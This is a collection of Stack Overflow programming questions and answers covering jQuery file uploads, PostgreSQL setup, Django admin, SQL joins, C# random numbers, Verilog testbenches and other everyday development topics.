40274288	0	how to remove existing image in jQuery.filer <p>I'm using a great plugin: <a href="https://github.com/CreativeDream/jquery.filer" rel="nofollow">https://github.com/CreativeDream/jquery.filer</a></p> <p>Only uploaded file can be Deleted, but added image file can Not be removed from server</p> <pre><code> files: [{ name: "photo_2016-09-23_21-25-48dfdgr.jpg", size: 5453, type: "image/jpg", file: ".php/uploads/photo_2016-09-23_21-25-48.jpg", },{ name: "photo_2016-09-23_21-25-48dfdf.jpg", size: 9503, type: "image/png", file: "./php/uploads/photo_2016-09-23_21-25-48.jpg", }], </code></pre> <p>remove file and delete in php does not work.</p> <p>all codes</p> <pre><code>$(document).ready(function(){ //Example 2 $("#filer_input2").filer({ limit: null, maxSize: null, extensions: null, changeInput: '&lt;div class="jFiler-input-dragDrop"&gt;&lt;div class="jFiler-input-inner"&gt;&lt;div class="jFiler-input-icon"&gt;&lt;i class="icon-jfi-cloud-up-o"&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="jFiler-input-text"&gt;&lt;h3&gt;Drag&amp;Drop files here&lt;/h3&gt; &lt;span style="display:inline-block; margin: 15px 0"&gt;or&lt;/span&gt;&lt;/div&gt;&lt;a class="jFiler-input-choose-btn blue"&gt;Browse Files&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;', showThumbs: true, theme: "dragdropbox", templates: { box: '&lt;ul class="jFiler-items-list jFiler-items-grid"&gt;&lt;/ul&gt;', item: '&lt;li class="jFiler-item"&gt;\ &lt;div class="jFiler-item-container"&gt;\ &lt;div class="jFiler-item-inner"&gt;\ &lt;div class="jFiler-item-thumb"&gt;\ &lt;div class="jFiler-item-status"&gt;&lt;/div&gt;\ &lt;div class="jFiler-item-thumb-overlay"&gt;\ &lt;div class="jFiler-item-info"&gt;\ &lt;div style="display:table-cell;vertical-align: middle;"&gt;\ &lt;span class="jFiler-item-title"&gt;&lt;b title="{{fi-name}}"&gt;{{fi-name}}&lt;/b&gt;&lt;/span&gt;\ &lt;span class="jFiler-item-others"&gt;{{fi-size2}}&lt;/span&gt;\ &lt;/div&gt;\ &lt;/div&gt;\ &lt;/div&gt;\ {{fi-image}}\ &lt;/div&gt;\ &lt;div class="jFiler-item-assets jFiler-row"&gt;\ &lt;ul class="list-inline pull-left"&gt;\ &lt;li&gt;{{fi-progressBar}}&lt;/li&gt;\ &lt;/ul&gt;\ &lt;ul class="list-inline pull-right"&gt;\ &lt;li&gt;&lt;a class="icon-jfi-trash jFiler-item-trash-action"&gt;&lt;/a&gt;&lt;/li&gt;\ &lt;/ul&gt;\ &lt;/div&gt;\ &lt;/div&gt;\ &lt;/div&gt;\ &lt;/li&gt;', itemAppend: '&lt;li class="jFiler-item"&gt;\ &lt;div class="jFiler-item-container"&gt;\ &lt;div class="jFiler-item-inner"&gt;\ &lt;div class="jFiler-item-thumb"&gt;\ &lt;div class="jFiler-item-status"&gt;&lt;/div&gt;\ &lt;div class="jFiler-item-thumb-overlay"&gt;\ &lt;div class="jFiler-item-info"&gt;\ &lt;div style="display:table-cell;vertical-align: middle;"&gt;\ &lt;span class="jFiler-item-title"&gt;&lt;b title="{{fi-name}}"&gt;{{fi-name}}&lt;/b&gt;&lt;/span&gt;\ &lt;span class="jFiler-item-others"&gt;{{fi-size2}}&lt;/span&gt;\ &lt;/div&gt;\ &lt;/div&gt;\ &lt;/div&gt;\ {{fi-image}}\ &lt;/div&gt;\ &lt;div class="jFiler-item-assets jFiler-row"&gt;\ &lt;ul class="list-inline pull-left"&gt;\ &lt;li&gt;&lt;span class="jFiler-item-others"&gt;{{fi-icon}}&lt;/span&gt;&lt;/li&gt;\ &lt;/ul&gt;\ &lt;ul class="list-inline pull-right"&gt;\ &lt;li&gt;&lt;a class="icon-jfi-trash jFiler-item-trash-action"&gt;&lt;/a&gt;&lt;/li&gt;\ &lt;/ul&gt;\ &lt;/div&gt;\ &lt;/div&gt;\ &lt;/div&gt;\ &lt;/li&gt;', progressBar: '&lt;div class="bar"&gt;&lt;/div&gt;', itemAppendToEnd: false, canvasImage: true, removeConfirmation: true, _selectors: { list: '.jFiler-items-list', item: '.jFiler-item', progressBar: '.bar', remove: '.jFiler-item-trash-action' } }, dragDrop: { dragEnter: null, dragLeave: null, drop: null, dragContainer: null, }, uploadFile: { url: "./php/ajax_upload_file.php", data: null, type: 'POST', enctype: 'multipart/form-data', synchron: true, beforeSend: function(){}, success: function(data, itemEl, listEl, boxEl, newInputEl, inputEl, id){ var parent = itemEl.find(".jFiler-jProgressBar").parent(), new_file_name = JSON.parse(data), filerKit = inputEl.prop("jFiler"); filerKit.files_list[id].name = new_file_name; itemEl.find(".jFiler-jProgressBar").fadeOut("slow", function(){ $("&lt;div class=\"jFiler-item-others text-success\"&gt;&lt;i class=\"icon-jfi-check-circle\"&gt;&lt;/i&gt; Success&lt;/div&gt;").hide().appendTo(parent).fadeIn("slow"); }); }, error: function(el){ var parent = el.find(".jFiler-jProgressBar").parent(); el.find(".jFiler-jProgressBar").fadeOut("slow", function(){ $("&lt;div class=\"jFiler-item-others text-error\"&gt;&lt;i class=\"icon-jfi-minus-circle\"&gt;&lt;/i&gt; Error&lt;/div&gt;").hide().appendTo(parent).fadeIn("slow"); }); }, statusCode: null, onProgress: null, onComplete: null }, addMore: true, files: [{ name: "photo_2016-09-23_21-25-48dfdgr.jpg", size: 5453, type: "image/jpg", file: ".php/uploads/photo_2016-09-23_21-25-48.jpg", },{ name: "photo_2016-09-23_21-25-48dfdf.jpg", size: 9503, type: "image/png", file: "./php/uploads/photo_2016-09-23_21-25-48.jpg", }], allowDuplicates: false, clipBoardPaste: true, excludeName: null, beforeRender: null, afterRender: null, beforeShow: null, beforeSelect: null, onSelect: null, afterShow: null, onRemove: function(itemEl, file, id, listEl, boxEl, newInputEl, inputEl){ var filerKit = inputEl.prop("jFiler"), file_name = filerKit.files_list[id].name; console.log(file_name); $.post('./php/ajax_remove_file.php', {file: file_name}); }, onEmpty: null, options: null, dialogs: { alert: function(text) { return alert(text); }, confirm: function (text, callback) { confirm(text) ? callback() : null; } }, captions: { button: "Choose Files", feedback: "Choose files To Upload", feedback2: "files were chosen", drop: "Drop file here to Upload", removeConfirmation: "Are you sure you want to remove this file?", errors: { filesLimit: "Only {{fi-limit}} files are allowed to be uploaded.", filesType: "Only Images are allowed to be uploaded.", filesSize: "{{fi-name}} is too large! Please upload file up to {{fi-maxSize}} MB.", filesSizeAll: "Files you've choosed are too large! Please upload files up to {{fi-maxSize}} MB." } } }); }) </code></pre> <p>please guide me. </p>
18106098	0	 <p>You might find this particular episode helpful:</p> <p><a href="http://railscasts.com/episodes/88-dynamic-select-menus" rel="nofollow">http://railscasts.com/episodes/88-dynamic-select-menus</a></p>
36678676	0	How to draw a heat map of New York city community based on certain data using R? <p>For a project I am currently working on, I have to draw a heat map of New York city community based on certain input using R. I googled for this topic and found that in R, there is a package called "map" will allow you to draw a heat map of the states of US pretty easily. However, I have no clue about how to draw similar heat maps for a city, and specifically here, New York city? Any suggestion is highly appreciated.</p>
40814370	0	 <p>You need to <strong><em>persisting the song data to the device</em></strong>.</p> <p>The Android framework offers several options and strategies for persistence:</p> <ul> <li><strong>Shared Preferences</strong> - Easily save basic data as key-value pairs in a private persisted dictionary.</li> <li><strong>Local Files</strong> - Save arbitrary files to internal or external device storage.</li> <li><strong>SQLite Database</strong> - Persist data in tables within an application specific database.</li> <li><strong>ORM</strong> - Describe and persist model objects using a higher level query/update syntax.</li> </ul> <p><strong>Use Cases</strong></p> <p>Each storage option has typically associated use cases as follows:</p> <ul> <li><strong>Shared Preferences</strong> - Used for app preferences, keys, and session information.</li> <li><strong>Local Files</strong> - Often used for blob data or data file caches (i.e disk image cache)</li> <li><strong>SQLite Database</strong> - Used for complex local data manipulation or for raw speed</li> <li><strong>ORM</strong> - Used to store simple relational data locally to reduce SQL boilerplate</li> </ul> <p>Read more: <a href="https://guides.codepath.com/android/Persisting-Data-to-the-Device" rel="nofollow noreferrer">Persisting Data To Device</a>.</p> <p><br/></p> <p>You can use one of the options, but for your purpose, <strong>SQLite Database</strong> or <strong>ORM</strong> is the better options.</p> <p>You can visit <a href="https://guides.codepath.com/android/Local-Databases-with-SQLiteOpenHelper" rel="nofollow noreferrer">Local Databases with SQLiteOpenHelper</a> for SQLite Database.</p> <p>For ORM, you can try <a href="http://greenrobot.org/greendao/" rel="nofollow noreferrer">greenDAO</a>.</p>
14773407	0	What does this piece of Perl code do in laymans terms? <p>Found this inside a loop. I've read up about splice but it just confused me more. I'm not familiar with Perl, but am trying to translate an algorithm to another language.</p> <pre><code>my $sill = splice(@list,int(rand(@list)),1); last unless ($sill); </code></pre> <p>To be more specific: What will be inside $sill if it doesn't exit the loop from the last?</p> <p>Thanks for any help!</p>
36197056	0	read data from excel file c# to mongodb database <p>My application needs to read data from an excel file and stocks it in MongoDB database. I am using .Net and c# for development.I am using Excel 2007 , MongoDB 3.2 and visual studio 2015 version. Any idea to access excel file, i need your help please.</p> <p>This is my code</p> <pre><code> public void Open_readXLS() { Excel.Workbook workbook; Excel.Worksheet worksheet; Optioncontext ctx = new Optioncontext(); string filePath = @"C:\Users\user PC\Desktop\ finale\Euro_Dollar_Call_Options.xlsx"; workbook = new Excel.Workbook(filePath); worksheet = workbook.Sheets.GetByName("Feuil1"); for (ushort i = 0; i &lt;= worksheet.Rows.LastRow; i++) { option.type_option= worksheet.Rows[i].Cells[0].Value.ToString(), option.type_currency= worksheet.Rows[i].Cells[1].Value.ToString(); } ctx.Option.InsertOne(option); } </code></pre>
28482002	0	DJANGO : How to create admin view with a model containt order_by? <p>My model is</p> <pre><code>Class Document(models.Model): Contrat = Contrat.objects.order_by('Contrat_text').distinct('Contrat_text') isContrat = models.BooleanField(('Contrat'), default=True) isCdC = models.BooleanField(('Cahier des Charges'), default=False) isCR = models.BooleanField(('Cahier de Recette'), default=False) isPG = models.BooleanField(('PG'), default=False) isCI = models.BooleanField(('CI'), default=False) isDico = models.BooleanField(('Dictionnaire'), default=False) isSFG = models.BooleanField(('SFG'), default=False) isGuide = models.BooleanField(('Guide'), default=False) isWSDL = models.BooleanField(('WSDL'), default=False) isDivers = models.BooleanField(('Divers'), default=False) def __str__(self): return self.Contrat </code></pre> <p>How to create Admin view with the same filter ?</p> <pre><code>class DocumentAdmin(admin.ModelAdmin): fields = ('Contrat', 'isContrat', 'isCdC', 'isCR', 'isPG', 'isCI', 'isDico', 'isSFG', 'isGuide', 'isWSDL', 'isDivers') list_display = ('Contrat', 'isContrat', 'isCdC', 'isCR', 'isPG', 'isCI', 'isDico', 'isSFG', 'isGuide', 'isWSDL', 'isDivers') ordering = ('id',) </code></pre> <p>admin.site.register(Document, DocumentAdmin)</p>
8750828	0	drupal 6: using ahah for forms with markup types <pre><code>function MyModule_menu() { $items['blah'] = array( 'title' = 'blah', 'page callback' =&gt; 'blah_page', 'type' =&gt; MENU_NORMAL_ITEM ); $items['clickPath'] = array( 'title' =&gt; 'A title', 'page callback' =&gt; 'clickPath_page', 'type' =&gt; MENU_CALLBACK, ); return $items; } function blah_page() { $output = drupal_get_form(MyModule_form); return $output; } function clickPath_page() { return ('you clicked me!'); } function MyModule_form($form,&amp;$form_state) { $output = '&lt;div id="clickDiv"&gt;Click me&lt;/div&gt;'; $form['blah'] = array( '#type' =&gt; 'markup', '#value' =&gt; $output, '#ahah' =&gt; array( 'event' =&gt; 'click', 'path' =&gt; 'clickPath', 'wrapper' =&gt; 'clickDiv', ), ); return $form; } </code></pre> <p>Why won't the above work? Is it not possible to use ahah and events on form types of 'markup'? Do I have to use my own custom javascript? </p> <p>You can stop reading here! I would like to end my sentences and question here, but stackoverflow is forcing me to input a minimum amount of characters. Apologies in advance!!!!</p>
30926439	0	 <p>You're looking for an outer join. This variant of your first query should do the trick:</p> <pre><code>SELECT DISTINCT ent.Entity_Id, ent.Profile_Pic_Url, ent.First_Name, ent.Last_Name, ent.Last_CheckIn_Place, comments.Content, friends.Category FROM checkin_comments AS comments JOIN entity AS ent ON comments.Entity_Id = ent.Entity_Id LEFT JOIN friends ON comments.Entity_Id = friends.Entity_Id1 OR comments.Entity_Id = friends.Entity_Id2 WHERE comments.Chk_Id = 1726 AND IFNULL(friends.Category, 0) != 4 GROUP BY comments.Comment_Id </code></pre> <p>In the event that the comment author is not associated with the requester via the <code>friends</code> table, the comment will be included in the join result, with all columns derived from <code>friends</code> being <code>NULL</code>. The <code>IFNULL()</code> in the <code>WHERE</code> clause deals with that by converting a <code>NULL</code> category to value <code>0</code> (though in fact any value other than <code>4</code> would work).</p>
19585016	0	 <p>Ah. I missed the g thing.</p> <pre><code>:%s/\\/\//g </code></pre> <p>This command does the trick.</p> <p>I will wait for better answers from vim geeks. I am sure there must be a better way.</p>
37432366	0	 <p>Because last step of unwrapping will fail? You will have <code>List(elements)</code>, and second version of <code>flatten</code> requires providing <code>List</code> in <code>List</code>.</p>
11582641	0	Jersey Servlet - Best way to set root uri content? <p>I am using JAX-RS to develop a RESTful api for an application. I'm deploying it in Tomcat. It's deployed at myhost:8080/api. Resources are at .../api/{resourceName}, etc.</p> <p>I'd like to have it so that people who visit /api see our html based api documentation. I'm wonder what the best solution is. Specifying a welcome file in the web.xml does not seem to work, but that would be nice and simple.</p> <p>Alternatively, If I create a resource and set the path to "/" then, I could programmatically serve up content. That's a little inflexible, because it's then in code, but I could make it work.</p> <p>Lastly I thinkI can use Apache to direct traffic to where I want. Not a guru on Apache, but this may be the most flexible solution.</p> <p>Which of these alternatives would be better? Any option I am missing?</p>
10494506	0	 <p>Well - it returns the query because you told it to do so!</p> <p>Look at your code: you have commented out the line that would actually <strong>execute</strong> the dynamic SQL (<code>EXEC sp_executsql .....</code>), and instead you're returning the query (<code>@QRY</code>) as a string:</p> <pre><code>--EXEC sp_executesql @QRY, '@STR VARCHAR(4000)', @STR RETURN @QRY </code></pre> <p>Just change that to execute the query instead of returning its string representation....</p>
28284556	0	 <p>Change the JS code to only act on the first link not all sub links like below </p> <pre><code> $('.link&gt;a').on("click", function(e){ e.preventDefault(); $(this).parent('.link').siblings().children('.dropdown').fadeOut(); $(this).siblings('.dropdown').fadeToggle(); }); $(document).mouseup(function (e) { var container = $(".dropdown"); if (!container.is(e.target) // if the target of the click isn't the container... &amp;&amp; container.has(e.target).length === 0) // ... nor a descendant of the container { container.hide(); } }); </code></pre> <p>note link>a mean only first level</p> <p><a href="http://jsfiddle.net/neka5u0d/" rel="nofollow">http://jsfiddle.net/neka5u0d/</a></p>
25216718	0	 <p>Read carefully <a href="http://man7.org/linux/man-pages/man2/mknod.2.html" rel="nofollow">mknod(2)</a> man page (e.g. type <code>man 2 mknod</code> in a terminal).</p> <blockquote> <pre><code> The mode argument specifies both the permissions to use and the type of node to be created. It should be a combination (using bitwise OR) of one of the file types listed below and the permissions for the new node. </code></pre> </blockquote> <p>BTW, you might -and probably should- use <a href="http://man7.org/linux/man-pages/man3/mkfifo.3.html" rel="nofollow">mkfifo(3)</a> instead (or, in a shell script or terminal, the <a href="http://man7.org/linux/man-pages/man1/mkfifo.1.html" rel="nofollow">mkfifo(1)</a> command).</p> <p>The permissions are mostly useful for processes which are <a href="http://man7.org/linux/man-pages/man2/open.2.html" rel="nofollow">open(2)</a>-ing an already existing named pipe.</p> <p><sup>With appropriate permission settings, you could restrict the usage of a FIFO to e.g. only the members of some given group.</sup></p> <p>Read also <a href="http://advancedlinuxprogramming.com/" rel="nofollow">Advanced Linux Programming</a>, <a href="http://man7.org/linux/man-pages/man7/fifo.7.html" rel="nofollow">fifo(7)</a>, <a href="http://man7.org/linux/man-pages/man7/credentials.7.html" rel="nofollow">credentials(7)</a>, <a href="http://man7.org/linux/man-pages/man7/capabilities.7.html" rel="nofollow">capabiities(7)</a>, and about <a href="http://en.wikipedia.org/wiki/Setuid" rel="nofollow">setuid</a>.</p>
37073107	0	Confirm before leave directive <p>This directive uses SweetAlert just as replacement of confirm() js function. <a href="https://jsfiddle.net/alfredopacino/njccccsh/" rel="nofollow">https://jsfiddle.net/alfredopacino/njccccsh/</a></p> <pre><code>app.directive('confirmLeave',function(){ return { restrict:"A", controller:function($scope,$attrs,SweetAlert,$state,$location){ $scope.$on('$destroy', function() { window.onbeforeunload = undefined; }); $scope.$parent.$on('$stateChangeStart', function(event, next, current) { console.log($scope.formname.$dirty) if($scope.formname.$dirty){ event.preventDefault() SweetAlert.swal({ title: "Are you sure you want to leave this page?", text: "Some changes have not been saved.", type: "warning", showCancelButton: true, confirmButtonColor: "#DD6B55",confirmButtonText: "Ok", cancelButtonText: "Cancel", closeOnConfirm: true, closeOnCancel: true }, function(isConfirm){ if (isConfirm) { console.log(next.name) $state.go(next.name) //$location.path(next.name) } }); } }); } }}); </code></pre> <p>It checks the form dirty state and it should follow the next route in case of confirm, but that $state.go() doesn't redirect.</p>
36198961	0	how do i bar plot a complete x axis and not just the last value <p>I am bar plotting probabilities as a function of successes in binomial trials. I am getting in my figure the expected Y values but only the last x value, which should span from 0 to 10. Here is my code:</p> <pre><code>close all; clc; p = 0.2; figure; for j = 1:500 for i = 1:10 a = rand(); success = fix(a*10); y = nchoosek(10,success)*(p^success)*(1-p)^(10-success); bar(success,y); hold on; end end </code></pre>
16961138	0	Does Android support cross application file access <p>Does android support cross application file access i mean Lets say Application A created a file called "abcd.txt", can we access the file "abcd.txt" from another application B like how it can be possible in windows and not possible in iOS. please help.</p>
7907889	0	How to use random class in multi threaded application correct <p>I need to use random class to generate random numbers in a multi threaded application inside public static function. How can i achieve it. Currently the function below is working very well but it is not very fast when compared to random class. So i need to modify the function below and make it work with random class while thousands of concurrent calls are happening to that class. if i use random it uses same seed for every call i suppose and the randomization is being very bad. my current class</p> <pre><code>using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Security.Cryptography; public static class GenerateRandomValue { static RNGCryptoServiceProvider Gen = new RNGCryptoServiceProvider(); public static int GenerateRandomValueDefault(int irRandValRange)//default min val 1 { if (irRandValRange == 0) irRandValRange = 1; byte[] randomNumber = new byte[4]; // 4 bytes per Int32 Gen.GetBytes(randomNumber); return Math.Abs(BitConverter.ToInt32(randomNumber, 0) % irRandValRange) + 1; } public static int GenerateRandomValueMin(int irRandValRange, int irMinValue) { byte[] randomNumber = new byte[4]; // 4 bytes per Int32 Gen.GetBytes(randomNumber); return BitConverter.ToInt32(randomNumber, 0) % irRandValRange + irMinValue; } } </code></pre> <p>Another function which seems pretty good and thread safe</p> <pre><code>using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Threading; public static class GenerateRandomValue { private static Random seedGenerator = new Random(); private static ThreadLocal&lt;Random&gt; random = new ThreadLocal&lt;Random&gt;(SeededRandomFactory); private static Random SeededRandomFactory() { lock(seedGenerator) return new Random(seedGenerator.Next()); } public static int GenerateRandomValueMin(int irRandValRange, int irMinValue) { return random.Value.Next(irMinValue, irRandValRange); } } </code></pre>
256214	0	 <p>SNMP has quite a significant CPU hit on the devices in question compared to telnet; I'd recommend telnet wherever possible. (As stated in a previous answer, the IOS XR XML API would be nice, but as far as I know IOS XR is only deployed on high-end carrier grade routers).</p> <p>In terms of existing configuration management systems, two commercial players are HP Opsware, and EMC Voyence. Both will probably do what you need. I'm not aware of many open source solutions that actually support deploying changes. (<a href="http://www.shrubbery.net/rancid/" rel="nofollow noreferrer">RANCID</a>, for example, only does configuration monitoring, not pre-staging and deploying config changes).</p> <p>If you are going to roll your own solution, one thing I would recommend is sitting down with your network admin and coming up with a best-practice deployment model for the service he's providing (e.g. standardised ACL, QoS queue, and VLAN names; similar entries in ACLs that have the same function for different customers, etc.). Ensure that all the existing deployed config complies with this BP before you start your design, it will make the problem much more manageable. Best of luck.</p>
21505513	0	 <p>Try this</p> <pre><code>class Item extends Eloquent { public function owner() { return $this-&gt;belongsTo('User','ownerID'); } } </code></pre>
16911323	0	 <p>Here I'm only matching the numbers and period character. This code should return the numbers you're looking for. It uses your data string from your example.</p> <pre><code>&lt;? preg_match_all('!Gold\s+([0-9.]+)\s+([0-9.]+)!i',$data,$matches); //New York $ny_bid = $matches[1][0]; $ny_ask = $matches[2][0]; print("NY\nbid: $ny_bid\n"); print("ask: $ny_ask\n\n"); //Asia $asia_bid = $matches[1][1]; $asia_ask = $matches[2][1]; print("Asia\nbid: $asia_bid\n"); print("ask: $asia_ask\n"); ?&gt; </code></pre> <p><strong>Output</strong></p> <pre><code>NY bid: 1411.20 ask: 1412.20 Asia bid: 1406.80 ask: 1407.80 </code></pre>
2691977	0	How do I Show/Hide a Grid Row and Grid Splitter based on a Toggle Button? <p>Currently I have a toggle button that is bound to a boolean property (DualLayout) in my code behind. When the boolean is set to True, then I want my second row in my grid (and grid splitter) to hide and have the first row take up the entire space of the grid. Once the boolean is set to False, I want the grid splitter and bottom row to appear.</p> <p>Here is a snippet of my xaml</p> <pre><code>&lt;ToggleButton Name="toggleLayout" Margin="66,1,0,1" Width="25" HorizontalAlignment="Left" IsChecked="{Binding DualLayout}" Checked="toggleLayout_Clicked" Unchecked="toggleLayout_Clicked"&gt; &lt;ToggleButton.Style&gt; &lt;Style TargetType="{x:Type ToggleButton}"&gt; &lt;Style.Triggers&gt; &lt;Trigger Property="IsChecked" Value="true"&gt; &lt;Setter Property="ContentTemplate"&gt; &lt;Setter.Value&gt; &lt;DataTemplate DataType="{x:Type ToggleButton}"&gt; &lt;Image Source="Images/PlayHS.png"/&gt; &lt;/DataTemplate&gt; &lt;/Setter.Value&gt; &lt;/Setter&gt; &lt;Setter Property="ToolTip" Value="Receive and Transmit Windows Split."/&gt; &lt;/Trigger&gt; &lt;Trigger Property="IsChecked" Value="false"&gt; &lt;Setter Property="ContentTemplate"&gt; &lt;Setter.Value&gt; &lt;DataTemplate DataType="{x:Type ToggleButton}"&gt; &lt;Image Source="Images/PauseHS.png"/&gt; &lt;/DataTemplate&gt; &lt;/Setter.Value&gt; &lt;/Setter&gt; &lt;Setter Property="ToolTip" Value="Receive and Transmit Windows Combined."/&gt; &lt;/Trigger&gt; &lt;/Style.Triggers&gt; &lt;/Style&gt; &lt;/ToggleButton.Style&gt; &lt;/ToggleButton&gt; &lt;Grid x:Name="transmissionsGrid" Margin="0,28,0,0"&gt; &lt;Grid.RowDefinitions&gt; &lt;RowDefinition Height="Auto"/&gt; &lt;RowDefinition Height="*" MinHeight="100" /&gt; &lt;/Grid.RowDefinitions&gt; &lt;transmission:TransmissionsControl x:Name="transmissionsReceive" TransmissionType="Receive" Margin="0,0,0,5" /&gt; &lt;GridSplitter Name="gridSplitter1" Grid.Row="0" Background="White" Cursor="SizeNS" Height="4" HorizontalAlignment="Stretch" VerticalAlignment="Bottom" Foreground="Firebrick" /&gt; &lt;transmission:TransmissionsControl x:Name="transmissionsTransmit" TransmissionType="Transmit" Grid.Row="1" /&gt; &lt;/Grid&gt; </code></pre>
8567908	0	Lightweight Excel(xls/xlsx) php library needed <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/3930975/alternative-for-php-excel">Alternative for PHP_excel</a> </p> </blockquote> <p>A friend would like to use a Php Excel library to read/write files on formats xls and xlsx, he knows about the one called "PhpExcel" but apparently is way too big of a library for him.</p> <p>I would like you to suggest if there is any other phplib you could recommend him.</p> <p><strong>Update</strong></p> <p>Please people vote this question up if you think this post is useful even when some have considered it not good enough to give it negative points (very strange since it has a lot of views and seems it has actually helped to some users). Thank you very much.</p>
14971223	0	Could not connect to Postgresql on Mac OS X after Installation <p>So I installed Postgresql onto my Mac and whenever I run anything like <code>psql</code> or <code>createdb cool_database_name</code> I get the following error.</p> <pre><code>psql: could not connect to server: No such file or directory Is the server running locally and accepting connections on Unix domain socket "/tmp/.s.PGSQL.5432"? </code></pre> <p>So I follow along the different solutions. I reinstall postgresql to no avail. I go to postgresql.conf` and change it to </p> <pre><code>#port = 5432 # (change requires restart) #max_connections = 20 # (change requires restart) # Note: Increasing max_connections costs ~400 bytes of shared memory per # connection slot, plus lock space (see max_locks_per_transaction). #superuser_reserved_connections = 3 # (change requires restart) #unix_socket_directory = '/var/pgsql_socket' # (change requires restart) #unix_socket_group = '' # (change requires restart) #unix_socket_permissions = 0777 # begin with 0 to use octal notation </code></pre> <p>yet still nothing. I run commands such as </p> <pre><code>ls -lA /var/run/postgresql </code></pre> <p>Which tell me the file or directory does not exist.</p> <p>I also check into the <code>pg_hba.conf</code> file but everything looks ok</p> <pre><code># "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust # Allow replication connections from localhost, by a user with the # replication privilege. #local replication jason trust #host replication jason 127.0.0.1/32 trust #host replication jason ::1/128 trust </code></pre> <p>When I run <code>psql -h localhost</code> I get</p> <pre><code>psql: could not connect to server: Connection refused Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port 5432? could not connect to server: Connection refused Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 5432? could not connect to server: Connection refused Is the server running on host "localhost" (fe80::1) and accepting TCP/IP connections on port 5432? </code></pre> <p>I'm at a lost as to how to fix this. Any help would be appreciated. </p>
29308309	0	 <p>There must be a nicer solution, but this is the one that quickly popped into mind:</p> <pre><code>set source = range(Rows(1).address &amp; "," &amp; Rows(emptyrow).address).SpecialCells(xlCellTypeVisible) </code></pre> <p>Disgusting, but works (if I understood what you needed correctly).</p> <p>Edit: found another solution:</p> <pre><code>set source = Application.Union(rows(1),rows(emptyrow)).SpecialCells(xlCellTypeVisible) </code></pre>
27133555	0	Patterns for dealing with variadic arguments in JavaScript <p>I usually do something like the following when dealing with variadic arguments in JavaScript:</p> <pre><code>var f = function() { var args = Array.prototype.slice.call(arguments, 0); // ... return something; }; </code></pre> <p>But what about doing instead:</p> <pre><code>var f = function() { return (function(self, args) { // ... return something; }(this, Array.prototype.slice.call(arguments, 0))); }; </code></pre> <p>I couldn't readily find anything addressing the pattern above, so I decided to post it here. Before I start experimenting with it, I would like to know if <strong>there are any flaws or risks</strong> I could be missing when using the rather unusual patterns described above.</p>
33026996	0	IAB, onActivityResult() and the strange message "startActivity called from non-Activity context" <p>I am using OpenIAB to support in app purchasing in my app (OpenIAB uses google code to implement IAP for Google Play Store). The problem is that, sometimes, when i call launchPurchaseFlow(), the method onActivityResult() of my FragmentActivity is not called. Checking the logs, i have found that when this happens there is always the following msg:</p> <blockquote> <p>W/ActivityManager( 319): startActivity called from non-Activity context: forcing Intent.FLAG_ACTIVITY_NEW_TASK for: Intent { cmp=com.android.vending/com.google.android.finsky.billing.lightpurchase.IabV3Activity (has extras) }</p> </blockquote> <p>When this happens, i have to close the app. Usually it start working again after some time (i have absolutely no clue of why is it so). I don't know why this message show up, since the context is obviously my activity (and in fact it works most of time). I have to say that the .apk installed on my device is an updated verion with respect to the apk uploaded in the beta version of the developer console and that i am using my google developer account to test IAP. This implies that i cannot make any real buy. However, this is not important, since i am testing the app. These are my questions: </p> <ol> <li>Is it true that starting an activity for result with FLAG_ACTIVITY_NEW_TASK prevents onActivityResult() to be called?</li> <li>How do you explain that message?</li> </ol> <p>Regarding the first question, i have tested with launchMode=singleTask and the behaviour is the same of launchMode=singleTop.</p>
39670300	0	 <p>There are two issues that need to be fixed.</p> <p>1) Coincidently in=5 is set only during the neg edge of clock. This is because clk cycle is #10 and the tb code changes "in" value every #5 .As the counter checks the value of in at posedge it misses the in = 5. The in time period needs to #10 or the TB can wait for a posedge of clk before setting signal "in".</p> <p>2) the start needs to be set for the counter to reset , else the value of count = x (unknown) and count+1 => x+1 which equals x. Hence the counter will not increment and continue to remain x throughout.</p> <p>Updated tb is below .</p> <pre><code>module tb(); reg [3:0] in; reg clk,start; wire [7:0] count; reg overflow = 1'b0; initial begin $display ("time\t clk start in count overflow"); $monitor ("%g\t %b %b %b %b", $time, clk, start, in, count, overflow); clk=0; in=0; start=0; // overflow=0; // count=0; #10 start = 1'b1; // reset counter #10 start = 1'b0; #10 in=4'd1; #10 in=4'd5; #10 in=4'd4; #10 in=5'd5; #10 in=4'd1; #10 in=4'd5; #10 in=4'd4; #10 in=5'd5; #10 in=4'd1; #10 in=4'd5; #10 in=4'd4; #10 in=5'd5; #10 in=4'd1; #10 in=4'd5; #10 in=4'd4; #10 in=5'd5; #50 $finish; end always #5 clk=~clk; counter u0(.*); initial // Dump waveform for debug $dumpvars; endmodule </code></pre> <p>You can dump waveform using $dumpvars command to debug.</p> <p>Alternative code ( using posedge event to drive data in test bench ) </p> <pre><code>// Code your testbench here // or browse Examples module tb(); reg [3:0] in; reg clk,start; wire [7:0] count; reg overflow = 1'b0; initial begin $display ("time\t clk start in count overflow"); $monitor ("%g\t %b %b %b %b", $time, clk, start, in, count, overflow); clk=0; in=0; start=0; // overflow=0; // count=0; @(posedge clk ) start = 1'b1;// reset counter @(posedge clk ) start = 1'b0; @(posedge clk ) in=4'd1; @(posedge clk ) in=4'd5; @(posedge clk ) in=4'd4; @(posedge clk ) in=5'd5; @(posedge clk ) in=4'd1; @(posedge clk ) in=4'd5; @(posedge clk ) in=4'd4; @(posedge clk ) in=5'd5; @(posedge clk ) in=4'd1; @(posedge clk ) in=4'd5; @(posedge clk ) in=4'd4; @(posedge clk ) in=5'd5; @(posedge clk ) in=4'd1; @(posedge clk ) in=4'd5; @(posedge clk ) in=4'd4; @(posedge clk ) in=5'd5; #50 $finish; end always #5 clk=~clk; counter u0(.*); initial $dumpvars; endmodule </code></pre>
11476031	0	 <p>There must be a problem with your version/install.</p> <p>Graphviz 2.28 on a windows system produces this output (11605x635px !):</p> <p><img src="https://i.stack.imgur.com/3XS0n.png" alt="graphviz output"></p> <p>Try <code>dot -version</code> to see version number and information about installed plugins &amp; config file.</p>
